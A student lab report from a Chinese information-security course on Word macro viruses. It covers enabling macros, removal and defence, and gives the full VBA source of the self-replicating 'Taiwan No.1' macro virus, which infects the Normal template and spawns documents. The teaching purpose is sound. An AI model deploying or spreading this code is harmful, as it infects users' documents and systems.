课程实验报告
专业年级信息管理与信息系统xxxx 课程名称信息安全技术
指导教师x x x
学生姓名x x
学号**********xxxx
实验日期2016.11.14
实验地点实验楼304
实验成绩
教务处制
二O一六年月日
实验说明：为了保证实验的顺利进行和该实验不造成较大的破坏性，在实验开始实验之前，首先关闭杀毒软件。
其次，在进行实验感染后，被感染的终端不要打开过多的Word文档，否则清除比较麻烦。
再次，实验者在实验过后需对实验报告和终端上面的资料进行杀毒处理。
最后，实验者对实验得到的有毒文件不能在网络（公网）上面传播，以造成不必要的麻烦。
（1）打开word文档，如附图1-1：
附图1-1 word主界面
（2）打开“文件”项目，如附图1-2：
附图1-2 文件项目
（3）在文件项目中选择“选项”，进入选项窗口，如附图1-3：
附图1-3 “选项”窗口
（4）在“选项”窗口中选择自定义功能区，再选择开发工具，如附图1-4：
附图1-4 自定义功能区
（5）在自定义功能区中将开发工具打上勾，如附图1-5：
附图1-5 选择开发工具
（6）点击确定，返回到word主界面，如附图1-6：
附图1-6 word主界面
（7）在word主界面中选择开发工具，点击“宏安全性”，进入信任中心界面，如附图1-7：
附图1-7 信任中心
（8）在“信任中心”界面中选择“宏设置”按钮，如附图1-8：
附图1-8 宏设置
（9）在“宏设置”中，选择“启用所有宏”、“信任任何VBA工程对象模型的访问”，如附图1-9：
附图1-9 启用所有宏
（10）点击“确定”，返回到word主界面，如附图1-10：
附图1-10 word主界面
（11）在“开发工具”中选择“Visual Basic”或者使用快捷键Alt+F11，启用宏编辑器，如附图1-11：
附图1-11 宏编辑器
（12）选择左侧的“Project→Microsoft Word对象→ThisDocument”，如附图1-12：
附图1-12 宏代码编写
（13）在窗口中输入代码，如附图1-13：
附图1-13 代码输入
（14）将代码中“If Day ( Now ()) =14 Then”改为当前系统日期，如附图1-14：
附图1-14 日期修改
（15）点击保存、运行，如附图1-15：
附图1-15 病毒运行
（16）回答对话框内问题，如附图1-16：
附图1-16 执行询问
（17）回答问题，如果答对就跳入文档，如附图1-17：
附图1-17 运行结果
（18）如果错误，将会新建20个写有“宏病毒”字样的Word文档，再一次进行心算游戏。
总共进行三次，然后跳出程序。
关闭文档的时候也会执行同样的询问。
（19）启用任务管理器，结束任务进程。
宏病毒：就是软件设计者为了让人们在使用软件进行工作时，避免一再地重复相同的动作而设计出来的一种工具，它利用简单的语法，把常用的动作写成类似批处理命令的多行代码的集合。
宏病毒是寄存在文档或模板的宏中的计算机病毒，一旦打开这样的文档，宏病毒就会执行，转移到计算机上，并驻留到Normal模板中，文档一旦进行自动保存，那么就会染上这种病毒，并产生连锁性的感染。
在此次实验中，我们学习到了病毒的传染性，顽固性，一旦染上病毒，如果操作不当，病毒就会传染到整个计算机上。
在计算机使用过程中，我们应该小心再小心。
同时在实验中我们要知道怎样清除宏病毒和防御宏病毒。
清除宏病毒：
（1）杀毒软件清除宏病毒。
（2）用手工清除
1. 单击“视图”→“宏”→查看宏。
2. 单击“宏的位置”下拉条，选择“Normal.dot”，删除刚才定义的
自动宏
宏病毒的防御：
（1）宏病毒的防御方法
设置安全级别
附台湾一号源代码：
'fanjian_shiyan
Dim nm(4)
Sub Document_Open()
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If
With host
If .Lines(1, 1) <> "'fanjian_shiyan" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 13 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心理游戏" + Chr$(13) + "你若答错，只好接受教育。
" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何为宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案："
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是。
"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何防御宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案："
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我。
"
GoTo out
Else
Count = Count + 1
For j = 1 To 5
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub
该病毒修改于13号发作日期为每月13号，如需修改发作日期修改源代码中If Day(Now()) = 13 Then对应的日期。